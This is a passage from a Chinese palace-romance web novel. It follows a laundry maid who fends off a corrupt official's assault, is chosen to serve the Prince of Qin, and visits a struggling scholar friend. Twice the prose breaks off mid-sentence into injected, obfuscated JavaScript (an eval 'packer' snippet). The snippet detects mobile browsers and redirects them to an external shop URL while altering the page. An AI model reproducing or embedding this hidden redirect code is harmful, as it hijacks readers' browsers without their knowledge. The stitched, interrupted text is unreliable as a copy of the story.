燕昼没想到会在这里遇上她。 池家在外经商的小舅舅昨儿回了京，阿娘叫他今日出宫去见见。他想着年后就要入朝供职，从此处走，偷偷看一眼早朝什么模样，再折返出宫也不迟。 结果就看到她游魂似的走在前头，双目也没有了那日的神采。 这是受委屈了？ 7. 绝路 鼓槌擂动，恢弘磅礴的鼓声荡开阴云，破出一线天光。 接连三声，宣告早朝开始。燕昼立在原地，没有动，遥遥看着墙根下绻缩的人。 薄薄一片影子，枯叶似的萎在墙根，抬袖胡乱抹了把脸，仰起头，遥望的乌蒙天际处自裂隙漏下几道光束，呈散射状。 不知在想些什么，盯着那些虚无发了会儿呆，少顷，她单手撑着膝盖站起身，想来是蹲麻了腿，抬脚抻了抻腿肚，忽地扭头看来—— 从希望的破灭中缓过神，阿罗感觉到似乎有人在看她，循着感觉朝来路看去，风卷着草叶儿滚过，笔直的甬道，空荡荡，何来的人影？ 收回视线，继续往前走，将过往抛在身后。 两人高的朱红墙头，燕昼扒着瓦片，慢慢探头，目送她迈进掖庭的灰黑门楼。 * 掖庭里的天光，总是来得迟些。厚重宫墙滤过了晨晖，只余下一片青灰色的、潮润润的凉意，沉甸甸压在一排排晾晒的衣物之间。 浑浑噩噩回到浣衣处，冷水漫过手背，熟悉的刺骨感将阿罗拉回现实。 一个上午，她洗了一件又一件臭烘烘的侍卫服，她这个人也被染臭了似的，大家都离得她远远儿的。 说是疏离吧，但总有人忍不住打量她。不论走到哪儿，这种说不清道不明的目光总是苍蝇似的黏在身上，仿佛一夜之间她成了掖庭的红人。 真叫人摸不着头脑。 直到中午打饭时，有个干衣房的宫女当面嘲讽：“豆芽菜似的，还妄想飞上枝头变凤凰，真是做梦！以为秦王是庄稼地里的野汉子，荤素不忌呐？” 同伴附和：“也不瞧瞧自己几斤几两，给主子提鞋都不配！” 菊香也在，朝她高高扬起下巴。 原来那些目光，都是在笑话她不自量力吗？ 从小挣扎在底层，看尽了冷眼，阿罗早已习惯，并不去分辩，留着那些力气与时间，多洗两件衣裳不好么，何必浪费在毫无意义的自证当中。 一个人沉默着吃完饭，收拾好碗筷，脚步不停回到水渠。落下的差事要趁着白日暖和赶紧做，否则又要夜里受冻。 同屋的阿兰抱来一小盒皂角，“昨儿你不在，我替你抢下了些，要不又要多费钱买。” 皂角是稀缺货，不是上头不拨钱，而是层层盘剥下来真正能用到采买上的也就三成。没有皂角，油污洗不净，她们只能自己出钱托人去宫外买，本就不多的月钱更是因此而雪上加霜。 两人同屋不过七日，话从没说上几句，阿罗属实没想到阿兰会帮她。 来自不相熟之人的暖意漾开在心头，阿罗一时怔住，水滴凝在指尖啪嗒落下，摔成几瓣。 阿兰以为她是在为那些伤人的言语难过，盒子向前一送，顺口说：“中午挑头的那个宫女叫华玉，择选她也去了，却因为龅牙被拒。想来是眼红你走到最后，这才故意拿话刺你，你莫要放在心上。” 竟不知还有这缘故。 “我没有放在心上。” 阿罗想，比起刘嬷嬷的针对、局令的难缠跟做不完的差事，那些话哪里值得她放在心上？ “她与我同为掖庭浣衣婢，我配不上秦王，难道她就配得上吗？她自轻自贱，我又何必挂心。” 冷泉般的眸子，毫无波澜。那些攻击容貌的话，听着就叫人火冒三丈，落在哪个女孩子身上能好受？阿兰一时有些拿不准，她这位同屋伙伴到底是装不在意还是真不在意了。 傍晚时分天空飘起细雪，手指僵硬得无法伸蜷，阿罗捧在口边哈着热气，白雾一圈一圈荡漾开来。 “阿罗！”有人没好气地叫她，“刘嬷嬷叫你，麻利点收拾完过去！” 终于是等不及，要在今晚把她献给局令了吗？ * 在宫里，要么当主子，要么当下人里的头儿。混到这两个位置，过得都不会太差。 譬如刘氏，三十出头便是浣衣房的掌事嬷嬷。除了年节宫宴忙碌几日，素日里来清闲无事，就忙着找茬扣钱丰盈腰包，好托人从宫外买来美酒，夜夜咂摸一口，日子过得赛神仙。 “阿罗啊，”她歪靠着圈椅，人有些喝高了，两颊酡红，“来瞧瞧，看你毛手毛脚的，把秦王的衣裳勾了都不知道。这兽爪是用单根金线绣成，断了就得全部挑起重绣。又费工夫又费银子的，你叫局令怎么跟尚服局开这个口？” 阿罗叉手道：“嬷嬷明鉴，此事非奴婢所为。” 刘嬷嬷板下脸，啪得一拍桌，“不是你是谁？衣裳送来就这个样。不是你，难道是嬷嬷我干的吗！” 年纪小的宫女不经事，被这么一吓早就六神无主哭着问“怎么办”了，可阿罗却不是那等没吃过苦的。 她垂着眸，语声平平：“奴婢不知是谁，但这人绝不是奴婢。您是浣衣房的掌事嬷嬷，趁着此事秦王尚未察觉，理应尽早查清真凶，将衣裳送还尚服局。” 再拖下去，秦王一旦追问，纠察到底，少阳院、掖庭、尚服局，没一个能跑。 刘氏酒气上头，哪里听得出她话中的暗示，如今她满脑袋都是让这头倔驴心甘情愿跪上局令的榻！ 不心甘情愿也得去！要不她掌事嬷嬷的位置就保不住了！ 跟一个小丫头没什么好吵嘴的，没得跌了份子。她蛮横无理地指着鼻子骂：“你干的好事还想叫我来收拾烂摊子？没门！自己捧着衣裳滚去求局令。” 这是铁了心要把她给推出去。 阿罗心一横，气血直冲上脑顶，所谓“光脚不怕穿鞋的”，她一无所有，贱命一条，自然舍得一身剐。 两步走到榻前抱起衣裳，用力往火盆子里一扔！ 天寒地冻，炭火旺盛，锦缎裘皮哪样不是易燃的东西，火苗瞬间明亮数倍，舔舐着上窜。 刘氏混沌着脑袋愣在原地，阿罗一把夺过她怀里酒坛，往火上一泼！ “轰”的一声闷响，燃起一团淡蓝火球，眨眼的功夫就把衣裳烧成一堆灰烬！ 皮脂燃烧后的焦糊味弥散在空气中。 刘氏的酒彻底被吓醒了，嘴巴张得老大，眼珠子几乎要夺眶而出，“你你你……你疯了！毁坏皇子衣物乃是重罪、重罪啊！” 一颗心砰砰跳，干这种掉脑袋的事儿，谁都怕。 阿罗也没瞧上去的那么镇定，她勉强控制住微微战栗的身子，语气比外头的天还冷，“衣裳是少阳院宫人送来的，掖庭负责接手查验的人也不是奴婢，奴婢没见过什么秦王衣裳，嬷嬷莫要胡言乱语。” 不是想推卸责任吗？ 衣裳给你烧了，即便秦王日后追责，她一个最底层的浣衣婢也能推说从未见过，可刘氏作为浣衣房掌事嬷嬷可就不是那么好脱罪了。 皇子衣物被毁，捅出她这个罪魁祸首，刘氏也难辞其咎。但凡刘氏还有点脑子就会想方设法把此事瞒下去，努力把罪责撇干净。 刘氏颓然瘫软在圈椅，两眼失神，喃喃自语：“完了，全完了，皇子的衣裳都记录在档，凭空少了一件，早晚得爆出来……” 若是早些找局令私下里托关系送进尚服局，也惹不出这些祸事，偏她想以此为要挟一箭双雕，到头来却是鸡飞蛋打自己还沾了一身鸡毛！ 阿罗叉手道：“时候不早，奴婢差事尚未做完，先行告退。” 脚掌后挪半步，就听见一道尖细嗓：“慢着——” 棉帘从外掀起，身前一暗，就见一双乌皮靴子停在眼前，“刘嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋内燃着火盆，温暖如春，半个时辰前还在饮酒吃肉的人，已经做了替死鬼，往幽冥界去了。 生和死，一句话的事。 真与假，也是一句话的事。 孙友德坐着，阿罗跪着，权势压得她抬不起头。 “刘氏没用，死了也不可惜。阿罗啊，你可千万不要学她。” 不想死，就做个对他有用的人。 毫不遮掩的淫/欲落在身上，目光如有实质，剥着她的衣。 青楼那夜的记忆再度上涌，她被人压在身下，护住襟口，就护不住裤腰。她哭，那人更加兴奋；她呼救，无人理会。 倘若没有摸到床头的烛台，她兴许会一口咬断那人颈间的经脉，而后被老鸨送官，给那个畜生偿命。 所以，现在要去死吗？为了一个畜生。 阿罗缓缓抬头，这是她第一次直喇喇盯着上峰瞧。面白无须的人，眼袋浮肿，肥肥一坨肉挤在木圈中，很弱的模样。 不再犹豫。她拎起竖在桌边的夹炭长柄铁钳，朝着孙友德的头颅挥去！ 凭什么白搭上她一条命！她死也不能放过这个畜生！ 孙友德也没想到好好的人突然发疯，抡起铁钳就往头上招呼，吓得往后一仰，圈椅后倒，连着他一同栽过去，堪堪避过这一击。 就差一点，时机就错过了。 候在外头的小内侍听见主子惊呼，呼啦啦跳进门，几下就把阿罗按住。 孙友德喘着气被人从圈椅里拔出来，怒不可遏：“把她给本官扒了衣裳拖去榻上按住喽！今夜本官不玩死你，本官就不姓孙！” 8. 虚惊 三个小内侍都与阿罗差不多大，眼看着花儿一般的姑娘要被糟蹋，心底有所不忍，手下不禁卸去几分力，阿罗一扭一挣就把他们给甩了个倒仰。 被逼到这个地步，阿罗早就什么也顾不得，只要能逃出去，逃到内侍省状告孙友德无德秽乱宫闱，又或是闹到少阳院去惊动秦王，哪怕是同归于尽也不要紧。 她活不成，孙友德也别想活！ 夺门而出，雪沫子扑面而来，湿润了脸颊。 孙友德气急败坏：“还愣着干什么，把她给本官绑回来！” 小内侍们心有灵犀，一窝蜂往外冲，三个人结结实实卡在窄门里，彻底堵死了外出的道。 孙友德简直要被气死：“蠢货！一群蠢货！” 哗——阿罗打开院门，她走得急，也没想到这个时候还有人候在门外，闷头跟人撞了个满怀。 “哎呦喂，赶去投胎啊！”有人骂了声，阿罗叉手道了声“抱歉”，捂着额头急吼吼迈步，却被那人叫住，“等等！你是阿罗？掖庭浣衣房宫婢？” 点到名字，走不脱了，阿罗看过去，海棠红交领广袖短襦，泥金帔帛挂在臂弯，竟是今早见过的那位负责择选的女官。 阿罗定了定神，“奴婢阿罗，见过姑姑。” “这是尚宫局的李尚宫。”青衣婢女斜了她一眼道。 孙友德呼哧呼哧赶过来，满面的怒容在触到李尚宫那刻立马化为一脸的笑：“哎呦，这不是李尚宫？您来也不提前说一声，下官也好备了茶候着您啊。这么晚了您还亲自过来，可是皇后殿下有什么吩咐？” 李尚宫整理好帔帛，平淡道：“孙局令客气。本官奉皇后之令为秦王择选宫女，本是都选好了，谁知其中一个出了岔子，眼下要赶紧把你们掖庭局的婢女阿罗递补上去方能交差。” 这就像眼瞅着尽头是万丈深渊，没想到走到跟前竟是峰回路转，于黑沉浓雾间豁开一束亮光。阿罗猛地抬头，怀疑自己是不是在做梦。 孙友德也觉得像是在做梦，只不过是噩梦。他有些慌，脱离掖庭到了秦王眼皮子底下，那张嘴他可就管不住了。 “能去侍奉秦王，可真是这丫头三辈子修来的福气。只是尚宫有所不知，这丫头蠢笨得很，性子也孤僻，又出身卑贱，恐辱没了秦王……” “这些就不劳局令操心了。”李尚宫直接堵了他的话，语气有些冷，“她若能得秦王宠爱，局令面上也跟着增光。但局令这般阻拦，可是另有隐情？” 内侍跟宫女结成对食，私底下你情我愿怎么来都行，但要是真搬到明面上来，那可是大罪！ 听话头倒像是铁了心要带人走，孙友德冷汗直冒，却也想不出更好的法儿，只能妥协道：“瞧您说的，下官岂能不懂一荣俱荣一损俱损的理儿？只不过是怕她伺候不好罢了。” 遮遮掩掩，李尚宫混到这个位置上，岂能看不出有猫腻？但记挂着差事，免不了睁一只眼闭一只眼。 她颔首，“日后能走到哪一步全看个人造化，有些道理局令心里明白就好，得饶人处且饶人。她，本官就带走了。” * 几句话的功夫，阿罗中选的消息风也似的刮满掖庭。 李尚宫放她回屋收拾包袱，其实也没什么好收拾的，床板下的包袱拎上就走。 阿茹捧着一个五两的银锭凑上来：“好阿罗，去了新地方到处都要打点，想来你缺银子使，这些就先拿去用，姐姐不收你利息。” 不收利息，那要贪的好处可就多了去了。 阿罗婉拒她：“多谢好意，不过你忘了，我还留了一贯钱，足够使了，再多也拿不动。” 阿茹穷追不舍，“多少是咱们同屋的情分……” 奈何阿罗扎紧包袱，她塞都没地方塞，一腔的“好意”完全没地儿送。 被拂了面子，索性把钱一扔，“还没得宠呢就摆架子，以后俩眼还不得长天上去。” 阿罗自动忽略这些坏心情的话，阿兰跟在一侧送她出门，“别嫌我啰嗦，也别嫌我戳你心窝。就你这臭石头脾气，入了少阳院可得改改，整日板着脸可哄不了男人，更何况还是秦王那样从小被娇惯着长大的主儿，一个伺候不好皇后便要怪罪，往后的路可没想象的那么好走。” 很直白的话，且有点说教的味道，但落在阿罗耳朵里，只觉得阿兰是为她好，担忧她的未来，担忧她的性命。深宫生存不易，人人明哲保身，阿兰能说出这番规劝的话来很是难得。 “我都记下了，多谢。”她自袖管拖出一只小盒，宝蓝色珐琅为底，细细掐出金银丝，盘绕成繁复的西番莲纹，看着就价值不菲，“这药膏治疗冻疮很有用，你偷偷藏好，隔几日抹一抹。” 慕容辉送的药膏只剩这么一盒，往后她再不用冬日浣衣，留着也无用，不如还了那盒皂角的人情。 阿兰推辞说太过贵重，“瞧上去盒子比药膏还值钱呢。” 可不就是说，她当初也没想到慕容辉会拿这么精致的东西给她。不过转念一想，慕容家什么实力，怕是人家找不出比这更“简陋”的盒子了。 阿罗把盒子塞过去，“瞧着漂亮，实则不值几个钱。收下吧，算是谢你帮我抢下的皂角。” 同屋的阿喜刚下值，手里端着饭，一院门就见阿罗往外走。她没有多少表情变化，点头道了句“恭喜”，侧开身子为她让道。 阿喜性子冷，同屋这么久也没说过几句话，独来独往的，远不如名字那般热闹。阿罗点点头算是回应。 “一天不见，有人竟是攀上高枝儿了！”菊香花枝招展，立在檐下风雪吹不到的地方阴阳怪气，“其他的话说多了也没意思，姐姐就祝妹妹有段宝林的福气，待秦王日后娶妃赏你个孺人当当，也不枉你今日高兴这场！” 消息灵通些的都知道，段宝林就是晓事宫女出身，在官家迎娶皇后前颇有宠爱，这才能在官家御极后获封宝林。 因为出身摆在那儿，到头也只是个六品宝林。且官家自娶妻后再不曾临幸后宫，专宠皇后一人。好好的花儿开败在深宫，未尝不是一种遗憾。 但不论怎么说，宝林终归也是天子的女人，可孺人不过是王府侍妾，待遇名望都比不上前者。开国至今，也没听见有几个晓事宫女获封孺人，大多是籍籍无名，杂草一样，被主子遗忘。 菊香说话一向都是往心窝子里捅，本以为阿罗会恼羞成怒反刺她两句，她再顺势把事情闹大，给阿罗定下一个“口无遮拦”的罪 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灯下，燕昴歪在榻上，合起手中书，“我又不是太医，去了也不能治病，找我不如找太医。” 池舒然在妆台前坐下，“你去瞧一眼，比吃药还管用。” “不去。”燕昴道，“当初娶你我就发过誓，从此只你一个，再不见其他女人。” 池舒然心平气和道：“到底是伺候过你三年的。” 年轻时是有点在意他有过旁的女人，可现在儿子都大了，他也十年如一日遵守承诺，那些酸味自然而然就消解了，何必跟自己过不去。 燕昴有自己的看法，“当年开恩旨的时候朕说的很明白，有了皇后，朕再不会临幸任何一人。留下，只能枯守冷宫。出去，则天大地大，要钱要男人朕都能满足。朕给过她们选择，是去是留自己做主。段宝林既然选择留在宫里安享富贵，那就莫要再要求更多。” 三十年前他还是太子，将将及冠，在春日宴上一眼相中池舒然，惶惶求娶，谁知连吃三道闭门羹，颇费了一番周折才抱得美人归，因此格外珍惜，决定单守着她一人过日子。 除却这个原因，再就是先皇后妃众多，子女十数人。阿娘贵为皇后却不得宠，他也因而不得圣心，整日如履薄冰，不知多少庶兄庶弟想将他取而代之。 那时他就想，日后自己做了皇帝，生几个嫡子即可，好生教导，长幼有序，未尝不能在这深宫之中守得一片温情。 “倔得跟头驴似的。”池舒然笑骂一声，“老三这点随你随的妥妥的。” “怎么能叫倔？我这叫‘专情’。”燕昴长叹一声，仰躺在榻。 皇后有句话没说错，三个儿子里，唯有老三不论是样貌还是性情都最像他。 “看着吧，老三日后定也是个情种。指不定像我一样，要栽个大跟头！” “呸呸呸！”池舒然顺手拿梳子砸他，“有你这么咒儿子的？” 燕昴抱着梳子，一脸“你等着瞧”。 “娘娘，”青衣宫女隔着屏风禀报，“李尚宫来了。” 9. 偶遇 李尚宫立在屏风后，“娘娘，奴婢瞧过了，是个稳重的人儿，现已带回尚宫局安置。” 是个稳妥的就好，要是个狐媚子，怕是又要费一番周折。池舒然略松一口气，“好生教导，三日后领来给本宫瞧瞧。” 李尚宫领命告退。 燕昴猜道：“给老三选的宫女？” 池舒然说是啊，另找了把犀牛角制成的梳子通发，“午后芳蕖来找我哭，言之凿凿说慕容家那孩子被一个掖庭浣衣婢勾搭去了，叫我给她做主。” “怎么又是慕容家……”燕昴暗骂了句，又问，“那宫女叫什么？” “姓罗，湘西济善堂出来的，是个苦命人。芳蕖来哭，我这个做姑姑的也不能不管，可仅凭她一面之词未免有失偏颇，索性下午就叫和光过来问了声，原是他在宫外办差时被那宫女救过一次，事后言谢两人又在宫里见了两面。听他的意思，那宫女是个妙人儿，知道他在御前当差，巴不得跟他划清界限呢。” 燕昴恍然：“难怪前几天见他魂不守舍……”平日里怪机灵的一个人，那天叫了他两次才应声，“他怎么跟你说的？对那宫女没意思？” “有意思我能安排她去侍奉老三吗？”池舒然倒出些桂花油涂抹在发尾。 燕昴调侃道：“你又不是不知道，慕容家的人都是锯嘴的葫芦，你要他亲口承认瞧上了人家女郎？哼，下辈子吧。” 想当年，池舒然跟慕容辉的小叔叔慕容鋆乃是青梅竹马，池舒然一门心思非他不嫁，连皇家婚事都照拒不误。要不是慕容鋆迟迟不肯表态，最后惹得池舒然大怒，他还未必能如愿撬动墙角娶到心上人呢。 池舒然也回忆起往事，韫色渐起，“你以为我想不到？左右我问过了，要是真有意思，我也不好棒打鸳鸯，做主放那宫女出宫便是，至于往后姻缘能不能成全看他自个儿本事。偏他自己说‘绝无此意’，既然如此，日后后悔也休怪我没给他机会。” 见池舒然因往事动怒，燕昴下榻给她揉肩，“莫气莫气，既然无意，叫她继续留在掖庭就是，你怎么塞给咱儿子了？” 池舒然叹道：“芳蕖那孩子你又不是不知道，认定的事绝不会善罢甘休，人留在掖庭怕是要遭殃。正好李尚宫来报，说选好的宫女里头有一个出了岔子，她又正好在候补人选之内，我便做主补上去了。” 一个千金小姐跟一个浣衣婢闹起来像什么话？若是传扬出去，她池家还要不要脸了。幸好有晓事宫女出了岔子，幸好那浣衣婢在候补之列，否则还有的愁呢！ “且放在老三身边保条命吧，浣衣婢出身，模样也不是一等一，你儿子未必瞧得上。” * 尚宫局。 小小一间屋，不大，却是单人间。床边烧着火盆，黑炭烧得赤红，丝丝暖意萦绕。 阿罗瞧着那火盆，嘴角高高翘起，喜悦得像是个见到糖果的孩子。 从不曾想过，有一日她也能住上这么暖和的屋子。 这样好的差事，难怪有人嫉妒。 晚膳是一块烤得焦酥的胡饼，一条炖得软烂的羊肋排，一碗滚烫的芙蓉汤，还有一碟子糯米糕。 没有寒风，没有饥饿，就连床榻都铺了厚厚的褥子，躺上去，人往下陷，睡在棉花里似的。 短短一日，先是落选，后又被刘氏、孙友德轮番刁难，幸而最后菩萨保佑让她心愿得偿。 一切都在向着更好的方向发展吧！不必大富大贵，能有片瓦安身，能够顿顿饱食，她就很知足了。 带着笑，阿罗沉沉睡去。 翌日一早，收拾好包袱，装上所有积蓄以及那本《尚书》，在李尚宫处取了出宫腰牌，兴冲冲往城门去。 李尚宫的意思是，她们四人身份特殊，往后就是秦王的人，除非主子开恩，否则怕是再无与亲友相见的机会，因此特意留出一日许她们出宫探亲，日落前回宫即可。 阿罗没有至亲，好友也就小豆子一个，此次出宫主要是去见见陌安兄，跟他说一声，免得他担忧。 出了宫门便是朱雀大街，笔直的一条黄土道，两侧垂柳枯败，虽不如春日里烟柳蒙蒙来的好看，但衬着湛蓝无边的天穹，倒也别有一番意趣。 整座皇城北高南低，皇宫坐落城北，达官权贵的宅邸也多建在此，而苏陌安赁的屋子却在城南的大通坊，走过去约莫要一个时辰，正好赶上午饭。 迈开大步走，带起的风恣意且潇洒，吹在脸上，漾开不自觉的笑。正是吃朝食的时辰，一呼一吸都是食物的香气，行人相伴交谈，稚童追逐打闹，就连坊中夫妻的吵架拌嘴声都是如此悦耳。 还是宫外好啊，天大地大，要不是为了避祸，她一定不会选择入宫。 快快攒够一百两傍身银，找个由头出宫吧！ 一辆朱红马车在她身边慢下来，“果真是你！” 循声看去，四方车窗探出个脑袋，飞扬的眉眼，似冬日暖阳，只一眼就能叫人暖到心窝子里去。 阿罗眼睛一亮：“是您！”脆快行礼，“奴婢见过大人！” 燕昼扬着笑，“今儿是出宫办差吗？” 阿罗摇头，“今儿休息，奴婢出宫探望兄长。” 宫婢每年都有探亲假，根据职位与入宫年限而略有不同。燕昼以为就是寻常的探亲假，点了点头，“路可远？我有车，刚好送你一程。” 尊卑有别，阿罗不觉得自己有那个脸叫贵人相送，也怕弄脏人家的车。 “多谢大人好意，奴婢要去西市买些瓜果鱼肉，中午好给兄长烧饭。走几步就到了，不劳大人。” 虽然只见过一面，但燕昼也能看出来，这个小娘子是个倔的，她决定的事，十头牛也拉不回来，她要是真愿意定不会推辞。 金叶子没送出去，人也没送成。燕昼想，什么时候她才能接受一次他的好意呢？ 便作罢，“你会烧菜？” 阿罗如实道：“会烧，但味道不怎么样，勉强入口。” 有人着急忙慌跑过，险些把阿罗撞飞，好在随车侍卫扶了她一把，这才没有摔着。那个撞了人的作揖连连：“抱歉抱歉，内人生产，着急了些。” 初次为人父母总会毛手毛脚，阿罗没伤着，便叫他快些回家去了，肩上背的包袱却被撞飞，系口散了，露出里头的铜板与《尚书》。 看见那熟悉的封面，无数个被折磨得痛不欲生的日夜便又浮现在眼前，燕昼嘴角一抽，重新把视线移回姑娘脸上。 似蹙非蹙的黛眉舒展开，日光下，一双眸子熠熠生辉，仿佛江南烟雨初霁，有翠鸟啼鸣。 看来今日她心情不错。 余光瞥见包袱里的一贯钱，粗粗一长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240738|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条，燕昼心算了下浣衣婢的月钱，按市价除去《尚书》跟《女诫》的买书钱，心想这差不多是她全部积蓄了。 都拿给她兄长？ 那她在宫里还过不过日子了？ 可人家给兄长多少银子干他何事，他也不好插嘴叮嘱叫她留一些钱傍身。 想了想，终究没立场说，到嘴边的话重新咽回嗓，转而道：“你何时再去小树林？给我个准信，我把小狸奴抱去给你瞧。” 阿罗眼睛一亮，紧接着又黯淡下去，她背好包袱道：“奴婢也说不准。” 燕昼有些失落，“说不准啊……也是，差事说来就来，哪里由得了你。” “倒不是这个缘故。”阿罗也不知道自己为什么要跟他解释这么多，“大人有所不知，奴婢被李尚宫选中调去少阳院侍奉，目下还不知是何差事，故而时间上有些说不准，不过想来会比在浣衣房轻松些。” 燕昼万万没想到是个这原因，“你要去少阳院？” 少阳院就住着他一个，侍奉谁不言而喻。 天色不早了，再说下去就要耽误午饭，阿罗先行告辞，直到她的身影消失在人群，燕昼才慢慢回过神来。 “容福。”他喊随车的侍卫，“少阳院最近又要添宫女了吗？” 容福也不知，“回宫后属下立刻去查。” 添几个宫女而已，可能是外围洒扫上人手不够，往常也不是没有过。可这次，他却莫名心慌意乱起来。 * 西市距离宫城不远，阿罗本还在想着方才的偶遇，不知不觉就站在了牌坊下，西市二字龙飞凤舞，热火朝天的叫卖声一下子就把她拉回到现实。 讨价还价，吆喝拉客，公鸡啼鸣，老牛哞哞……一切都是鲜活的、生动的，阿罗牵起嘴角，毫不犹豫踏入这喧嚣尘世。 菜行买了两个萝卜，又去豆腐坊割了两文钱豆腐，鱼行要价太贵，阿罗根据经验在牌坊底下守了会儿，就见须发花白的老翁提着只鱼篓走来，六尾鲫鱼，还有一尾约莫斤数重的草鱼，鱼鳃一张一合，都是再新鲜不过的食物。 像这种散卖的价钱通常会便宜些，阿罗又费了些嘴皮子，五十文全部买下。草编的鱼篓子不值几个钱，老翁便送给了她。 左手提鱼，右手捧着荷叶包裹的豆腐，萝卜放在包袱里背在身后。 大通坊实在远，一路上走走停停，不时有车行的伙计来问是否雇车，三个铜板就成。 反正时间还早，阿罗舍不得这些钱，便靠着自己把东西运了回去。 大通坊赁价低，住的都是些贩夫走卒、落魄书生，一个院子四间房，四户人家挤在一处，共用一个灶间。 阿罗循着记忆往最里处走，苏陌安赁的是最小的那间房，朝北开窗，终日不见阳光，这就导致阿罗推门后差点被里头的惨白脸吓了一跳。 青天白日，阳光大盛，却没有一丝光亮透进来，屋里阴沉得好似没有活人气。 窗下摆了张榻，榻前一张方桌，书本胡乱翻开，摞起高山，地上滚满废纸团，连个叫人站立的地方都没有。 细嗅，劣酒的味道刺鼻，隐隐还有股腐臭味，那是劣质墨汁的味道。 而苏陌安，惨白着一张脸，颓然坐在榻，衣衫半敞，愕然看着站在光里的她。 “阿罗？你、你怎么回来了？” 10. 落日 苏陌安扯过外衣罩在身上。 眼睛逐渐适应了黑暗，细节变得清晰，阿罗这才看见混在纸团里的酒坛子。 一个、两个、三个，酒坛足足有三个！ 拿酒买醉，平日里的他不是这样的。两年前她从青楼逃脱，老鸨报了官，是苏陌安收留了她，助她躲过金吾卫的搜捕，又在她慌乱无助时为她出谋划策，联系同在京中的济善堂好友，偷换文牒，将她送进宫。 她跟苏陌安是同一年出的湘西济善堂，分别五载，又在长安重逢，自然亲切。两年间两人虽然往来不多，但她笃定苏陌安绝不是个酒蒙子，想来是遇上事了。 怕惹他伤心，阿罗装作不知，提起手中鱼篓，弯唇一笑：“我们中午做鱼吃好不好？” 六尾鲫鱼下锅煎至金黄，烹上水，汤呈奶色，临出锅时放入豆腐，加盐调味。 草鱼片成鱼脍，半数蘸着脍醋生食，半数与切块的鱼骨鱼头一道炸酥，淋上酱汁封坛保存，吃个三四日不成问题。 她做饭，苏陌安就搬了只矮凳坐在太阳窝里翻看新买的那本《尚书》。 他曾说过，“君子远庖厨”，所以他很少进灶房。一个人的时候就买着吃，阿罗在的时候自然而然就是阿罗做饭。 两个萝卜擦丝切末，拌上煎过的豆腐丁，家里还有些面粉，阿罗捏了百来只白胖水饺，煮了三十只。天冷食物易保存，剩下的留给苏陌安慢慢吃。 鱼汤的香气飘满整座小院，有老翁牵来幼童，阿罗装看不见，端着饭往屋里走，苏陌安抹不开脸，取来只破碗，拨了三只水饺进去，又添了一筷子鲫鱼肉，浇上一勺子鱼汤。 “吃吧。”他摸着孩子的脑袋，笑得和善。 对于穷苦人来说，三只饺子一碗鱼汤，那是过年才有的待遇。 开了这个头，剩下的两户人家都领着孩子来要，就连隔壁的白发老翁都闻讯赶来，倚老卖老向苏陌安诉苦。 转眼间饺子剩了半盘，鲫鱼剩下两尾，薄薄的三片鱼脍贴在碗底。 阿罗面无表情看了会儿，摆了一双筷子一只碗上桌，“你快吃吧，我给你收拾下屋子。” 都说宫里条件好，苏陌安以为阿罗是用过朝食才出宫，所以不饿，于是心安理得坐下，夹了只水饺。 “我看过那本《尚书》了，多谢。” “不用客气，算是生辰贺礼吧。” 苏陌安不同于她，他是五岁上父母双亡才进了济善堂，因此知道自己的生辰。 阿罗蹲着，捡起揉皱的纸团，展平。大半只写了寥寥几字，她单独分出来，留着日后再用。 苏陌安品了口鱼汤，“我略翻了翻，内容似乎不全，错字也比较多，读起来略有不顺。” 阿罗愣了会儿，她没有亲自买过书，但小豆子说过，那种精抄无错字且内容齐全的，少说也要三贯钱，够买这种残缺货三本了，划不来。 “我以为大差不差的，这还是托了关系从书行买的。” 宫人采购，可以走书行，货正价低。但普通百姓只能去书肆，假货多且贵，阿罗这才拜托了小豆子。 苏陌安宽慰她：“无妨，我将就看便是。” “这怎么能将就，内容不全，影响了科考怎么办？”阿罗有些难受，“我再想想办法吧，下回定买最好的，不省那几贯钱了。” 也不知道哪个字眼戳到了苏陌安的肺管子，他啪嗒放下筷，不吃了。 “读书乃是为天地立心、生民立命，莫要只盯着科考做官一条道，把书给读狭隘了。” 阿罗被他吓了一跳，“可不做官又怎么为百姓做事……” “难道为百姓做事非要当官吗？你只看到为官者表面光鲜，殊不知内里肮脏，眼中只有金银，满身都是铜臭，哪里还记得为百姓请命！” 所以才需要清流去涤荡污秽啊！阿罗想着，却不敢说，她不喜欢吵架，也不想吵架，于是顺着他的话头说：“那做个教书先生也挺好，桃李满天下，学生称你一声夫子，多高兴呀。” 有人认同，苏陌安心里好受了点，“阿罗，非我不愿为官，只是连考三年，解试①均未中榜，原以为是我本事不足，甘愿让贤，可前些日去打听了才知，那些推举上去的士子，要么是托了关系，要么是塞了银子……” 没钱没门路，一辈子就要被踩在底层挣扎不脱。 阿罗将散乱的书籍整理好，排放在靠墙的书柜里，“天底下也不是只有做官一条道，陌安兄读书多，眼界广，能走的路多了去了，终有一日会遇到赏识你才华的贵人的。” 不欲再谈下去，她转了话头，“我被调去少阳院侍奉秦王，月钱涨了，十两银呢。可惜就是出宫不便，等一切安顿好了我再看看能不能托人带些出来给你。” 买书吃饭裁衣哪个不需要钱，苏陌安靠着卖字卖画赚不了多少，许多结交人脉的诗会也因囊中羞涩而被拒之门外。 救命之恩当涌泉相报，阿罗明白这一点，所以银钱富足时就多帮他一下。她身为女子能做的有限，但苏陌安天宽地阔大有可为，他以后要是能靠读书挣出些名头，她也会觉得与有荣焉。 苏陌安小小惊讶了声，“十两月钱？什么差事值这么些银子？” “消食宫女，具体做什么不太清楚，听名字像是陪着秦王散步消食的闲差。” 